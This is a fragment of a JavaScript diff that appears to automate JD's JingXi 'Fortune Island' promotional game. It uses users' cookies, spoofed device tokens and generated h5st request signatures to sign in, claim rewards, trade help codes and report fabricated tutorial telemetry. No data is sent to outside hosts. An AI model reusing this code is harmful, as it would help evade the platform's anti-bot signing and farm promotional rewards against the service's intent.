Object.keys(data.Data.Sign.SignList)) { + let vo = data.Data.Sign.SignList[key] + if (vo.dwDayId === data.Data.Sign.dwTodayId) { + if (vo.dwStatus !== 1) { + const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` + await rewardSign(body, 6) + await $.wait(2000) + } else { + console.log(`今日已签到\n`) + break + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'helpdraw': + $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`领助力奖励`) + let helpNum = [] + for (let key of Object.keys(data.Data.Employee.EmployeeList)) { + let vo = data.Data.Employee.EmployeeList[key] + if (vo.dwStatus !== 1) { + helpNum.push(vo.dwId) + } + } + if (helpNum.length !== 0) { + for (let j = 0; j < helpNum.length; j++) { + await helpdraw(helpNum[j]) + await $.wait(2000) + } + } else { + console.log(`暂无可领助力奖励`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + default: + break + } + }) +} +function rewardSign(body, dwEnv = 7) { + return new Promise((resolve) => { + $.get(taskUrl(`story/RewardSign`, body, dwEnv), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RewardSign API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0 || data.sErrMsg === "success") { + if (data.Data.ddwCoin) { + console.log(`签到成功:获得${data.Data.ddwCoin}金币\n`) + } else if (data.Data.ddwMoney) { + console.log(`签到成功:获得${data.Data.ddwMoney}财富\n`) + } else if (data.Data.strPrizeName) { + console.log(`签到成功:获得${data.Data.strPrizeName}\n`) + } else { + console.log(`签到成功:很遗憾未中奖~\n`) + } + } else { + console.log(`签到失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function helpdraw(dwUserId) { + return new Promise((resolve) => { + $.get(taskUrl(`story/helpdraw`, `dwUserId=${dwUserId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpdraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0 || data.sErrMsg === "success") { + if (data.Data.StagePrizeInfo) { + console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币 ${data.Data.StagePrizeInfo.ddwMoney}财富 ${(data.Data.StagePrizeInfo.strPrizeName && !data.Data.StagePrizeInfo.ddwMoney) ? data.Data.StagePrizeInfo.strPrizeName : `0元`}红包`) + } else { + console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币`) + } + } else { + console.log(`领取助力奖励失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 倒垃圾 +async function queryRubbishInfo() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/QueryRubbishInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryRubbishInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`倒垃圾`) + if (data.Data.StoryInfo.StoryList.length !== 0) { + for (let key of Object.keys(data.Data.StoryInfo.StoryList)) { + let vo = data.Data.StoryInfo.StoryList[key] + if (vo.Rubbish) { + await $.wait(2000) + let rubbishOperRes = await rubbishOper('1') + if (Object.keys(rubbishOperRes.Data.ThrowRubbish.Game).length) { + console.log(`获取垃圾信息成功:本次需要垃圾分类`) + for (let key of Object.keys(rubbishOperRes.Data.ThrowRubbish.Game.RubbishList)) { + let vo = rubbishOperRes.Data.ThrowRubbish.Game.RubbishList[key] + await $.wait(2000) + var rubbishOperTwoRes = await rubbishOper('2', `dwRubbishId=${vo.dwId}`) + } + if (rubbishOperTwoRes.iRet === 0) { + let AllRubbish = rubbishOperTwoRes.Data.RubbishGame.AllRubbish + console.log(`倒垃圾成功:获得${AllRubbish.ddwCoin}金币 ${AllRubbish.ddwMoney}财富\n`) + } else { + console.log(`倒垃圾失败:${rubbishOperTwoRes.sErrMsg}\n`) + } + } else { + console.log(`获取垃圾信息成功:本次不需要垃圾分类`) + if (rubbishOperRes.iRet === 0 || rubbishOperRes.sErrMsg === "success") { + console.log(`倒垃圾成功:获得${rubbishOperRes.Data.ThrowRubbish.ddwCoin}金币\n`) + } else { + console.log(`倒垃圾失败:${rubbishOperRes.sErrMsg}\n`) + } + } + } else { + console.log(`当前暂无垃圾\n`) + } + } + } else { + console.log(`当前暂无垃圾\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function rubbishOper(dwType, body = '') { + return new Promise((resolve) => { + switch(dwType) { + case '1': + $.get(taskUrl(`story/RubbishOper`, `dwType=1&dwRewardType=0`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + break + case '2': + $.get(taskUrl(`story/RubbishOper`, `dwType=2&dwRewardType=0&${body}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + break + default: + break + } + }) +} + +// 牛牛任务 +async function getActTask(type = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/GetActTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetActTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (type) { + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ([1, 2].includes(vo.dwOrderId) && (vo.dwCompleteNum !== vo.dwTargetNum) && vo.dwTargetNum < 10) { + console.log(`开始【🐮牛牛任务】${vo.strTaskName}`) + for (let i = vo.dwCompleteNum; i < vo.dwTargetNum; i++) { + console.log(`【🐮牛牛任务】${vo.strTaskName} 进度:${i + 1}/${vo.dwTargetNum}`) + await doTask(vo.ddwTaskId, 2) + await $.wait(2000) + } + } + } + data = await getActTask(false) + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ((vo.dwCompleteNum >= vo.dwTargetNum) && vo.dwAwardStatus !== 1) { + await awardActTask('Award', vo) + await $.wait(2000) + } + } + data = await getActTask(false) + if (data.Data.dwCompleteTaskNum >= data.Data.dwTotalTaskNum) { + if (data.Data.dwStatus !== 4) { + console.log(`【🐮牛牛任务】已做完,去开启宝箱`) + await awardActTask('story/ActTaskAward') + await $.wait(2000) + } else { + console.log(`【🐮牛牛任务】已做完,宝箱已开启`) + } + } else { + console.log(`【🐮牛牛任务】未全部完成,无法开启宝箱\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} +function awardActTask(function_path, taskInfo = '') { + const { ddwTaskId, strTaskName} = taskInfo + return new Promise((resolve) => { + switch (function_path) { + case 'Award': + $.get(taskListUrl(function_path, `taskId=${ddwTaskId}`, 'jxbfddch'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; + } else { + str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + } + console.log(`【🐮领牛牛任务奖励】${strTaskName} ${str}\n${$.showLog ? data : ''}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'story/ActTaskAward': + $.get(taskUrl(function_path), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`【🐮牛牛任务】开启宝箱成功:获得财富 ¥ ${data.Data.ddwBigReward}\n`) + } else { + console.log(`【🐮牛牛任务】开启宝箱失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + default: + break + } + }) +} + +// 导游 +async function employTourGuideInfo() { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/EmployTourGuideInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} EmployTourGuideInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`雇导游`) + let minProductCoin = data.TourGuideList[0].ddwProductCoin + for(let key of Object.keys(data.TourGuideList)) { + let vo = data.TourGuideList[key] + if (vo.ddwProductCoin < minProductCoin) { + minProductCoin = vo.ddwProductCoin + } + } + for(let key of Object.keys(data.TourGuideList)) { + let vo = data.TourGuideList[key] + let buildNmae; + switch(vo.strBuildIndex) { + case 'food': + buildNmae = '京喜美食城' + break + case 'sea': + buildNmae = '京喜旅馆' + break + case 'shop': + buildNmae = '京喜商店' + break + case 'fun': + buildNmae = '京喜游乐场' + default: + break + } + if(vo.ddwRemainTm === 0 && vo.ddwProductCoin !== minProductCoin) { + let dwIsFree; + if(vo.dwFreeMin !== 0) { + dwIsFree = 1 + } else { + dwIsFree = 0 + } + console.log(`【${buildNmae}】雇佣费用:${vo.ddwCostCoin}金币 增加收益:${vo.ddwProductCoin}金币`) + const body = `strBuildIndex=${vo.strBuildIndex}&dwIsFree=${dwIsFree}&ddwConsumeCoin=${vo.ddwCostCoin}` + await employTourGuide(body, buildNmae) + } else if (vo.ddwProductCoin !== minProductCoin) { + console.log(`【${buildNmae}】无可雇佣导游`) + } + await $.wait(2000) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function employTourGuide(body, buildNmae) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/EmployTourGuide`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} EmployTourGuide API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) { + console.log(`【${buildNmae}】雇佣导游成功`) + } else { + console.log(`【${buildNmae}】雇佣导游失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 升级建筑 +async function getBuildInfo(body, buildList, type = true) { + let twobody = body + return new Promise(async (resolve) => { + $.get(taskUrl(`user/GetBuildInfo`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetBuildInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (type) { + let buildNmae; + switch(buildList.strBuildIndex) { + case 'food': + buildNmae = '京喜美食城' + break + case 'sea': + buildNmae = '京喜旅馆' + break + case 'shop': + buildNmae = '京喜商店' + break + case 'fun': + buildNmae = '京喜游乐场' + default: + break + } + if (data.dwBuildLvl === 0) { + console.log(`创建建筑`) + console.log(`【${buildNmae}】当前建筑还未创建,开始创建`) + await createbuilding(`strBuildIndex=${data.strBuildIndex}`, buildNmae) + await $.wait(2000) + data = await getBuildInfo(twobody, buildList, false) + await $.wait(2000) + } + console.log(`收金币`) + const body = `strBuildIndex=${data.strBuildIndex}&dwType=1` + let collectCoinRes = await collectCoin(body) + console.log(`【${buildNmae}】收集${collectCoinRes.ddwCoin}金币`) + await $.wait(2000) + await getUserInfo(false) + console.log(`升级建筑`) + console.log(`【${buildNmae}】当前等级:${buildList.dwLvl}`) + console.log(`【${buildNmae}】升级需要${data.ddwNextLvlCostCoin}金币,保留升级需要的3倍${data.ddwNextLvlCostCoin * 3}金币,当前拥有${$.info.ddwCoinBalance}金币`) + if(data.dwCanLvlUp > 0 && $.info.ddwCoinBalance >= (data.ddwNextLvlCostCoin * 3)) { + console.log(`【${buildNmae}】满足升级条件,开始升级`) + const body = `ddwCostCoin=${data.ddwNextLvlCostCoin}&strBuildIndex=${data.strBuildIndex}` + let buildLvlUpRes = await buildLvlUp(body) + if (buildLvlUpRes.iRet === 0) { + console.log(`【${buildNmae}】升级成功:获得${data.ddwLvlRich}财富\n`) + } else { + console.log(`【${buildNmae}】升级失败:${buildLvlUpRes.sErrMsg}\n`) + } + } else { + console.log(`【${buildNmae}】不满足升级条件,跳过升级\n`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function collectCoin(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/CollectCoin`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CollectCoin API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function buildLvlUp(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/BuildLvlUp`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} BuildLvlUp API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function createbuilding(body, buildNmae) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/createbuilding`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} createbuilding API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) console.log(`【${buildNmae}】创建成功`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 助力 +function helpByStage(shareCodes) { + return new Promise((resolve) => { + $.get(taskUrl(`story/helpbystage`, `strShareId=${shareCodes}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`助力成功:获得${data.Data.GuestPrizeInfo.strPrizeName}`) + } else if (data.iRet === 2232 || data.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { + console.log(`助力失败:您的账号或被助力的账号可能已黑,请联系客服`) + num++ + if (num === 5) $.canHelp = false + } else if (data.iRet === 2190 || data.sErrMsg === '达到助力上限') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else { + console.log(`助力失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +// 获取用户信息 +function getUserInfo(showInvite = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${escape('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task')}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + const { + buildInfo = {}, + ddwRichBalance, + ddwCoinBalance, + sErrMsg, + strMyShareId, + dwLandLvl, + LeadInfo = {}, + StoryInfo = {}, + Business = {}, + XbStatus = {} + } = data; + if (showInvite) { + console.log(`获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); + console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) + } + if (showInvite && strMyShareId) { + console.log(`财富岛好友互助码每次运行都变化,旧的当天有效`); + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}`); + $.shareCodes.push(strMyShareId) + await uploadShareCode(strMyShareId) + } + $.info = { + ...$.info, + buildInfo, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + dwLandLvl, + LeadInfo, + StoryInfo, + XbStatus + }; + resolve({ + buildInfo, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + LeadInfo, + StoryInfo, + XbStatus + }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//任务 +function getTaskList(taskType) { + return new Promise(async (resolve) => { + switch (taskType){ + case 0: //日常任务 + $.get(taskListUrl("GetUserTaskStatusList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList 日常任务 API请求失败,请检查网路重试`) + } else { + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data); + $.allTask = userTaskStatusList.filter((x) => x.awardStatus !== 1 && x.taskCaller === 1); + if($.allTask.length === 0) { + console.log(`【📆日常任务】已做完`) + } else { + console.log(`获取【📆日常任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + case 1: //成就任务 + $.get(taskListUrl("GetUserTaskStatusList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList 成就任务 API请求失败,请检查网路重试`) + } else { + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data); + $.allTask = userTaskStatusList.filter((x) => (x.completedTimes >= x.targetTimes) && x.awardStatus !== 1 && x.taskCaller === 2); + if($.allTask.length === 0) { + console.log(`【🎖成就任务】没有可领奖的任务\n`) + } else { + console.log(`获取【🎖成就任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + default: + break; + } + }); +} + +//浏览任务 + 做任务 + 领取奖励 +function browserTask(taskType) { + return new Promise(async (resolve) => { + switch (taskType) { + case 0://日常任务 + for (let i = 0; i < $.allTask.length; i++) { + const start = $.allTask[i].completedTimes, end = $.allTask[i].targetTimes + const taskinfo = $.allTask[i]; + console.log(`开始第${i + 1}个【📆日常任务】${taskinfo.taskName}\n`); + for (let i = start; i < end; i++) { + //做任务 + console.log(`【📆日常任务】${taskinfo.taskName} 进度:${i + 1}/${end}`) + await doTask(taskinfo.taskId); + await $.wait(2000); + } + //领取奖励 + await awardTask(0, taskinfo); + } + break; + case 1://成就任务 + for (let i = 0; i < $.allTask.length; i++) { + const taskinfo = $.allTask[i]; + console.log(`开始第${i + 1}个【🎖成就任务】${taskinfo.taskName}\n`); + if(taskinfo.completedTimes < taskinfo.targetTimes){ + console.log(`【领成就奖励】${taskinfo.taskName} 该成就任务未达到门槛\n`); + } else { + //领奖励 + await awardTask(1, taskinfo); + await $.wait(2000); + } + } + break; + default: + break; + } + resolve(); + }); +} + +//做任务 +function doTask(taskId, type = 1) { + return new Promise(async (resolve) => { + switch (type) { + case 1: + $.get(taskListUrl(`DoTask`, `taskId=${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} DoTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + break + case 2: + $.get(taskListUrl(`DoTask`, `taskId=${taskId}`, `jxbfddch`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} DoTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + default: + break + } + }) +} + +//领取奖励 +function awardTask(taskType, taskinfo) { + return new Promise((resolve) => { + const {taskId, taskName} = taskinfo; + switch (taskType) { + case 0://日常任务 + $.get(taskListUrl(`Award`, `taskId=${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} Award API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; + } else { + str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + } + console.log(`【领日常奖励】${taskName} ${str}\n${$.showLog ? data : ''}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break + case 1://成就奖励 + $.get(taskListUrl(`Award`, `taskId=${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} AchieveAward API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data); + if(msg.indexOf('活动太火爆了') !== -1) { + console.log(`活动太火爆了`) + } else { + console.log(`【领成就奖励】${taskName} 获得财富值 ¥ ${JSON.parse(prizeInfo).ddwMoney}\n${$.showLog ? data : ''}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break + default: + break + } + }); +} + +// 新手任务 +async function noviceTask(){ + let body = `` + await init(`user/guideuser`, body) + body = `strMark=guider_step&strValue=welcom&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=gift_redpack&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=none&dwType=2` + await init(`user/SetMark`, body) +} +async function init(function_path, body) { + return new Promise(async (resolve) => { + $.get(taskUrl(function_path, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} init API请求失败,请检查网路重试`) + } else { + if (function_path == "user/SetMark") opId = 23 + if (function_path == "user/guideuser") opId = 27 + data = JSON.parse(data); + contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` + await biz(contents) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function biz(contents){ + return new Promise(async (resolve) => { + let option = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: 'm.jingxi.com', + "User-Agent": UA, + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + } + } + $.get(option, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CddwTaskId%2CdwEnv%2Cptag%2Csource%2CstrShareId%2CstrZone&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; + return { + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent": UA, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }; +} + +function taskListUrl(function_path, body = '', bizCode = 'jxbfd') { + let url = `${JD_API_HOST}newtasksys/newtasksys_front/${function_path}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CconfigExtra%2CdwEnv%2Cptag%2Csource%2CstrZone%2CtaskId&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; + return { + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent": UA, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }; +} + +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function showMsg() { + return new Promise(async (resolve) => { + if ($.result.length) { + if ($.notifyTime) { + const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); + const now = $.time("HH:mm").split(":"); + console.log(`\n${JSON.stringify(notifyTimes)}`); + console.log(`\n${JSON.stringify(now)}`); + if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { + $.msg($.name, "", `${$.result.join("\n")}`); + } + } else { + $.msg($.name, "", `${$.result.join("\n")}`); + } + + if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); + } + resolve(); + }); +} + +function readShareCode() { + return new Promise(async resolve => { + $.get({url: ``, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`\n随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +function uploadShareCode(code) { + return new Promise(async resolve => { + $.get({url: ``, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} uploadShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + if (data === 'OK') { + console.log(`已自动提交助力码\n`) + } else if (data === 'error') { + console.log(`助力码格式错误,乱玩API是要被打屁屁的~\n`) + } else if (data === 'full') { + console.log(`车位已满,请等待下一班次\n`) + } else if (data === 'exist') { + console.log(`助力码已经提交过了~\n`) + } else { + console.log(`未知错误:${data}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = [] + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds, ...(readShareCodeRes.data || [])])]; + } else { + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds])]; + } + console.log(`您将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', 